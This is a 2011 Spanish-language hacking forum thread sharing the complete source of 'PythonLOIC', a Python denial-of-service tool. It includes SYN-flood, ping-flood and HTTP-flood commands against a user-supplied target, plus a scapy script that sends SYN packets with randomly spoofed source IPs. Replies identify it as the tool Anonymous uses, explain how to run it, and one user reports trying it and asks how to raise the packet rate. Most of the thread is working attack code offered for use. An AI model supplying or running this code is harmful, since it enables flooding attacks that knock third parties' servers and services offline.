PythonLOIC - Nueva herramienta para ataques Ddos

Iniciado por ANTRAX, Agosto 13, 2011, 08:09:40 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 13, 2011, 08:09:40 PM Ultima modificación: Agosto 14, 2011, 01:10:04 AM por ANTRAX
Navegando encontre esto. Quizas les interese para estudiar el codigo...


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

pythonLoic2.5.2_python2.py

Código: python
# -*- coding: cp1252 -*-
import time
import os
import urllib
import socket
import getpass
liste=['whoami', 'whois', 'ping', 'help', 'http','del history','history','flood','ip','syn','config','installscapy']
fin = False
os1=['fedora','debian','mac os','ubuntu','ios']
os3=['windows']
allos=os1+os3
fdmu=str()
user=getpass.getuser()
adieu = ['bye', 'salut', 'a+', 'ciao', 'exit','quit','killme','kill','stfu','see you','au revoir',]
help = '________________________________________________________\n|SYN to send TCP packets with syn header (syn flood)---|\n|PING just to ping a server----------------------------|\n|FLOOD to flood with pings (need administrador account)|\n|HISTORY to show history-------------------------------|\n|DEL HISTORY to delete the history---------------------|\n|CTRL+C or EXIT to quit--------------------------------|\n|WHOIS to whois----------------------------------------|\n|WHOAMI if you are amnesic-----------------------------|\n|IP to see your current ip adress----------------------|\n|CONFIG to define your OS------------------------------|\n|______________________________________________________|'
sep = "____________________________________________________"
minisep = "-----"
idiot=0
print (sep+'\npython L.O.I.C for python 2.xx. V 2.5.2\n')
print ('HELP for commands and help')
print ("I'm not responsible of your acts with this software.\n"+sep)
try:
fichier = open('config.txt', 'r')
fdmu=(fichier.read())
fichier.close()
conferror=False
except IOError:
print ('Config not found')
conferror=True
if fdmu=="ios":
print("IOS to see the ios-related help")
liste.append("ios")
while fin == False:
command=raw_input('Hunt:\ ').lower()
if command == 'syn':
print(minisep)
if user!='root':
if fdmu in os1:
target=socket.gethostbyname(raw_input("Target : "))
if fdmu=='ios':
print("Synsender doesn't work correctly with ios")
os.system("su -c 'python synsenderv1.1.1.py "+target+"'")
if fdmu in os3:
print("Windows os not tested")
target=socket.gethostbyname(raw_input("Target : "))
os.system('runas /noprofile /user:Administrator python synsenderv1.1.1.py '+target)
if fdmu not in allos:
print("This OS is not supported, run config to change OS")
if user=='root':
target=socket.gethostbyname(raw_input("Target : "))
os.system("python synsenderv1.1.1.py "+target)
fichier = open('history.txt', 'a')
fichier.write("synsender "+target+'\n')
fichier.close()
print(sep)
if command == 'del history':
print(sep)
fichier = open('history.txt', 'w')
fichier.write('')
fichier.close()
print("History deleted")
print(sep)
if command == 'history':
print(sep)
print ('History: \n')
try:
fichier = open('history.txt', 'r')
print(fichier.read())
fichier.close()
except IOError:
print ('Not found !')
print(sep)
if command == 'ping':
print(sep)
pingsites = raw_input('to~> ')
hm = raw_input("How many pings ? ")
wi = raw_input("What interval ? in sec ")
print(minisep)
os.system('ping -c '+hm+' -i '+wi+' '+pingsites)
fichier = open('history.txt', 'a')
fichier.write("ping "+pingsites+'\n')
fichier.close()
print(sep)
if command == 'config':
fdmut=raw_input("What's your OS ? windows/mac os/debian/ubuntu/fedora/ios\n")
if fdmut not in allos:
print("Please choose an OS from the list")
else:
fichier = open('config.txt', 'w')
fichier.write(fdmut)
fichier.close()
print("OK")
if command == 'flood':
print(sep)
if conferror==False:
if fdmu in os1:
pingsites = raw_input('ping to~> ')
hm = raw_input("How many pings ? ")
flood = str('ping -c '+hm+' -f '+pingsites)
print(minisep)
if user!='root':
os.system('su -c '+"'"+flood+"'")
if user=='root':
os.system(flood)
if fdmu in os3:
pingsites = raw_input('ping to~> ')
hm = raw_input("How many pings ? ")
os.system("ping -n "+hm+" "+pingsites)
fichier = open('history.txt', 'a')
fichier.write("pingflood "+pingsites+'\n')
fichier.close()
if conferror==True:
print("Configuration error")
print(sep)
if command == 'http':
print(sep)
e = 0
httpsite = raw_input("to~> ")
hwt = raw_input("How many times ? ")
fichier = open('history.txt', 'a')
fichier.write("httpddos "+httpsite+"\n")
fichier.close()
while e<=hwt:
page = urllib.urlopen(httpsite)
page.read()
e += 1
print (e)
print(sep)
if command == 'whois':
print(sep)
whoisname = raw_input("Who ? ")
print(minisep)
os.system("whois "+whoisname)
fichier = open('history.txt', 'a')
fichier.write("whois "+whoisname+"\n")
fichier.close()
print(sep)
if command == 'whoami':
print(sep)
print(user)
print(sep)
if command == 'help':
print (help)
if command == 'ip':
print(sep)
try:
print ('local ip: '+socket.gethostbyname(socket.gethostname())+'\nFinding external ip, will take a while')
except:
print("Error")
try:
print("external ip: "+urllib.urlopen("http://automation.whatismyip.com/n09230945.asp").read())
except:
print("Error")
print(sep)
if command == 'ios':
dw=raw_input("Synsender doesn't work correctly with ios yet\nIf whois doesn't work, type now whois\n").lower()
if dw == 'whois':
os.system("apt-get install whois")
print("Whois is now installed")
if command == 'installscapy':
if fdmu=='ios':
os.system("apt-get install wget unzip")
if fdmu in os1:
os.system("wget http://www.secdev.org/projects/scapy/files/scapy-latest.zip")
os.system("unzip scapy-latest.zip")
os.system("rm -f -r scapy-latest.zip")
os.system("cd scapy*/ && sudo python setup.py install")
print('OK, you can remove the "scapy-x.x.x" directory')
if fdmu in os3:
print("Sorry you have to install manualy scapy on windows")
if command in adieu:
fin=True
elif command not in liste:
print ('> ?!')
idiot+=1
if idiot > 4:
idiot=0
print("Here is the help :\n"+help)
print ("Good bye")
quit()


pythonLoic2.5.2_python3.py

Código: python
# -*- coding: cp1252 -*-
import time
import os
import urllib.request
import socket
import getpass
liste=['whoami', 'whois', 'ping', 'help', 'http','del history','history','flood','ip','syn','config','installscapy']
fin = False
os1=['fedora','debian','mac os','ubuntu','ios']
os3=['windows']
allos=os1+os3
fdmu=str()
user=getpass.getuser()
adieu = ['bye', 'salut', 'a+', 'ciao', 'exit','quit','killme','kill','stfu','see you','au revoir',]
help = '________________________________________________________\n|SYN to send TCP packets with syn header (syn flood)---|\n|PING just to ping a server----------------------------|\n|FLOOD to flood with pings (need administrador account)|\n|HISTORY to show history-------------------------------|\n|DEL HISTORY to delete the history---------------------|\n|CTRL+C or EXIT to quit--------------------------------|\n|WHOIS to whois----------------------------------------|\n|WHOAMI if you are amnesic-----------------------------|\n|IP to see your current ip adress----------------------|\n|CONFIG to define your OS------------------------------|\n|______________________________________________________|'
sep = "____________________________________________________"
minisep = "-----"
idiot=0
print (sep+'\npython L.O.I.C for python 3.xx. V 2.5.2\n')
print ('HELP for commands and help')
print ("I'm not responsible of your acts with this software.\n"+sep)
try:
fichier = open('config.txt', 'r')
fdmu=(fichier.read())
fichier.close()
conferror=False
except IOError:
print ('Config not found')
conferror=True
if fdmu=="ios":
print("IOS to see the ios-related help")
liste.append("ios")
while fin == False:
command=str(input('Hunt:\ ')).lower()
if command == 'syn':
print(minisep)
if user!='root':
if fdmu in os1:
target=socket.gethostbyname(str(input("Target : ")))
if fdmu=='ios':
print("Synsender doesn't work correctly with ios")
os.system("su -c 'python synsenderv1.1.1.py "+target+"'")
if fdmu in os3:
print("Windows os not tested")
target=socket.gethostbyname(str(input("Target : ")))
os.system('runas /noprofile /user:Administrator python synsenderv1.1.1.py '+target)
if fdmu not in allos:
print("This OS is not supported, run config to change OS")
if user=='root':
target=socket.gethostbyname(str(input("Target : ")))
os.system("python synsenderv1.1.1.py "+target)
fichier = open('history.txt', 'a')
fichier.write("synsender "+target+'\n')
fichier.close()
print(sep)
if command == 'del history':
print(sep)
fichier = open('history.txt', 'w')
fichier.write('')
fichier.close()
print("History deleted")
print(sep)
if command == 'history':
print(sep)
print ('History: \n')
try:
fichier = open('history.txt', 'r')
print(fichier.read())
fichier.close()
except IOError:
print ('Not found !')
print(sep)
if command == 'ping':
print(sep)
pingsites = input('to~> ')
hm = str(input("How many pings ? "))
wi = str(input("What interval ? in sec "))
print(minisep)
os.system('ping -c '+hm+' -i '+wi+' '+pingsites)
fichier = open('history.txt', 'a')
fichier.write("ping "+pingsites+'\n')
fichier.close()
print(sep)
if command == 'config':
fdmut=str(input("What's your OS ? windows/mac os/debian/ubuntu/fedora/ios\n"))
if fdmut not in allos:
print("Please choose an OS from the list")
else:
fichier = open('config.txt', 'w')
fichier.write(fdmut)
fichier.close()
print("OK")
if command == 'flood':
print(sep)
if conferror==False:
if fdmu in os1:
pingsites = str(input('ping to~> '))
hm = str(input("How many pings ? "))
flood = str('ping -c '+hm+' -f '+pingsites)
print(minisep)
if user!='root':
os.system('su -c '+"'"+flood+"'")
if user=='root':
os.system(flood)
if fdmu in os3:
pingsites = str(input('ping to~> '))
hm = str(input("How many pings ? "))
os.system("ping -n "+hm+" "+pingsites)
fichier = open('history.txt', 'a')
fichier.write("pingflood "+pingsites+'\n')
fichier.close()
if conferror==True:
print("Configuration error")
print(sep)
if command == 'http':
print(sep)
e = 0
httpsite = input("to~> ")
hwt = int(input("How many times ? "))
fichier = open('history.txt', 'a')
fichier.write("httpddos "+httpsite+"\n")
fichier.close()
while e<=hwt:
with urllib.request.urlopen('http://'+httpsite+'/') as page:
page.read()
e += 1
print (e)
print(sep)
if command == 'whois':
print(sep)
whoisname = input("Who ? ")
print(minisep)
os.system("whois "+whoisname)
fichier = open('history.txt', 'a')
fichier.write("whois "+whoisname+"\n")
fichier.close()
print(sep)
if command == 'whoami':
print(sep)
print(user)
print(sep)
if command == 'help':
print (help)
if command == 'ip':
print(sep)
try:
print ('local ip: '+socket.gethostbyname(socket.gethostname())+'\nFinding external ip, will take a while')
except:
print("Error")
try:
print('external ip: '+str(urllib.request.urlopen("http://automation.whatismyip.com/n09230945.asp").read(), "utf8"))
except:
print('Error')
print(sep)
if command == 'ios':
dw=str(input("Synsender doesn't work correctly with ios yet\nIf whois doesn't work, type now whois\n").lower())
if dw == 'whois':
os.system("apt-get install whois")
print("Whois is now installed")
if command == 'installscapy':
if fdmu=='ios':
os.system("apt-get install wget unzip")
if fdmu in os1:
os.system("wget http://www.secdev.org/projects/scapy/files/scapy-latest.zip")
os.system("unzip scapy-latest.zip")
os.system("rm -f -r scapy-latest.zip")
os.system("cd scapy*/ && sudo python setup.py install")
print('OK, you can remove the "scapy-x.x.x" directory')
if fdmu in os3:
print("Sorry you have to install manualy scapy on windows")
if command in adieu:
fin=True
elif command not in liste:
print ('> ?!')
idiot+=1
if idiot > 4:
idiot=0
print("Here is the help :\n"+help)
print ("Good bye")
quit()



synsenderv1.1.1.py

Código: python
# -*- coding: cp1252 -*-
import socket
try:
from scapy.all import *
except:
print("Scapy importation error, try running 'installscapy' (only on linux and macos/ios)")
import random
import sys
import time
print '\npythonLoic SYN packets sender V1.1.1\nWhith ip spoofing'
print "I'm not responsible of your acts with this software.\n"
conf.iface='wlan0'
target = sys.argv[1]
num=int(raw_input("How many packets ? "))
port=int(raw_input("Port : "))
ip = IP()
ip.dst = target
c=0
tcp = TCP()
start = time.time()
start1 = time.time()
tcp.dport = port
tcp.flags = 'S'
while c<num:
ip.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
tcp.sport = RandShort()
packet=ip/tcp
send(packet, verbose=0)
c += 1
if c%100==0:
elapsed= time.time() - start
ps=int(100/elapsed)
print(str(c)+"    Packets/sec : "+str(ps))
start = time.time()
elapsed= time.time() - start1
print("Average packets/sec : "+str(num/elapsed))
print ("Successful !")


Saludos!


Es la herramienta que usan los de "anonymous" para dosear no? un tal LOIC o algo así xD

Si, asi es. Solo que en Python. Y si no me equivoco es compatible con los Iphone. Osea que puedes dosear desde el movil


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si, asi es. Solo que en Python. Y si no me equivoco es compatible con los Iphone. Osea que puedes dosear desde el movil

Vaya, se ve interesante, habrá que hechar un ojo al src!

epa Antrax, lindo aporte te mandaste, conocia LOIC pero no esto.
Vamos a ver que trae ese código.

Thanks

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


oigan, pueden poner el codigo, es que no me da buena espina los comprimidos, xD

gracias ANTRAX

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
oigan, pueden poner el codigo, es que no me da buena espina los comprimidos, xD

gracias ANTRAX

Ahi puse el code. De todas formas, no tenes por que temerle. es solo python...


gracias ANTRAX, eficaz, xD

otra pregunta, pues sé que puede ir en otro lado, pero aprobecho que estas, como se usa? xD

Debes Instalar python en tu pc e interpretarlo.
Para saber mas de python, te recomiendo que leas el taller de python
www.underc0de.org/papers


gracias ANTRAX, pero los talleres ya me los lei, xD y ademas, sabes que interpretar dichocodigos es un nivel mas avnazado, aunque igual lo estoy intentando, no digo que tenga mucha exp en python, pero voy en buen camino, xD

gracias

no es dificil. Abris la consola, te ubicas en el directorio del script y tipeas: python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y listo...


Agosto 14, 2011, 01:53:38 AM #11 Ultima modificación: Agosto 14, 2011, 01:58:29 AM por fortil
ok, no me expliqué, pero sé como utilizar la consolay sé algo de python, lo que no sé es que es SYN y todas esas cosas que aparecen en HELP del programa, pero bueno, para no alargar esto, entonces buscaré como, gracias antrax, está muy bueno el foro.
nosé como para que sirven estas cosas, PING, HiSTORy, del history, control+c y config, se me escapa cual sé, xD pero las demas si me quedan duras, xD

Código: python

'________________________________________________________\n|SYN to send TCP packets with syn header (syn flood)---|\n|PING just to ping a server----------------------------|\n|FLOOD to flood with pings (need administrador account)|\n|HISTORY to show history-------------------------------|\n|DEL HISTORY to delete the history---------------------|\n|CTRL+C or EXIT to quit--------------------------------|\n|WHOIS to whois----------------------------------------|\n|WHOAMI if you are amnesic-----------------------------|\n|IP to see your current ip adress----------------------|\n|CONFIG to define your OS------------------------------|\n|______________________________________________________|'

o así, se entendería mejor.
|SYN to send TCP packets with syn header (syn flood)---|
|PING just to ping a server----------------------------|
|FLOOD to flood with pings (need administrador account)|
|PING just to ping a server----------------------------|
|HISTORY to show history-------------------------------|
|DEL HISTORY to delete the history---------------------|
|CTRL+C or EXIT to quit--------------------------------|
|WHOIS to whois----------------------------------------|
|WHOAMI if you are amnesic-----------------------------|
|IP to see your current ip adress----------------------|

si esta muy bueno lo se jaja
pero ahora ya esta el refref
un saludo y gracias por el aporte
:-* :-*

hola queria saber si alguien tiene este programa listo para usar como por ejemplo un ejecutable

Los codes de Python no suelen estar compilados en exe ya que pesan mucho los archivos. Si usas linux no necesitas nada. Pero si usas Windows necesitarás
algún intérprete de Python.
Twitter: @The_Pr0ph3t
[email protected]

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
hola queria saber si alguien tiene este programa listo para usar como por ejemplo un ejecutable

como te dice @spectrus, los códigos en Python no suelen estar "compilados" , pero no es tanto por el aumento de peso en el archivo, sino por los motivos de compatibilidad y ejecución/interpretación.

En mi experiencia personal, varios códigos en python que he pasado a ejecutables, no me han servido. como conclusión: lo mejor es interpretarlos  8)
¡< blozzter >!

Estoy provandolo, Esta Bueno.. Me gusta.. Muy Bueno De verdad :B
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@fortil. el uso es bastante simple... ejecutalo / configura tu os(por defecto trae windows -creo-) / luego un syn / te pedira el host / el puerto y voilá.

La estoy probando y corre suave <3
Ahora tengo una duda: veo que el promedio es de 12/13pps, no hay forma de incrementarlo?
    O es mi maquina que anda comica? xD
   
Cheers!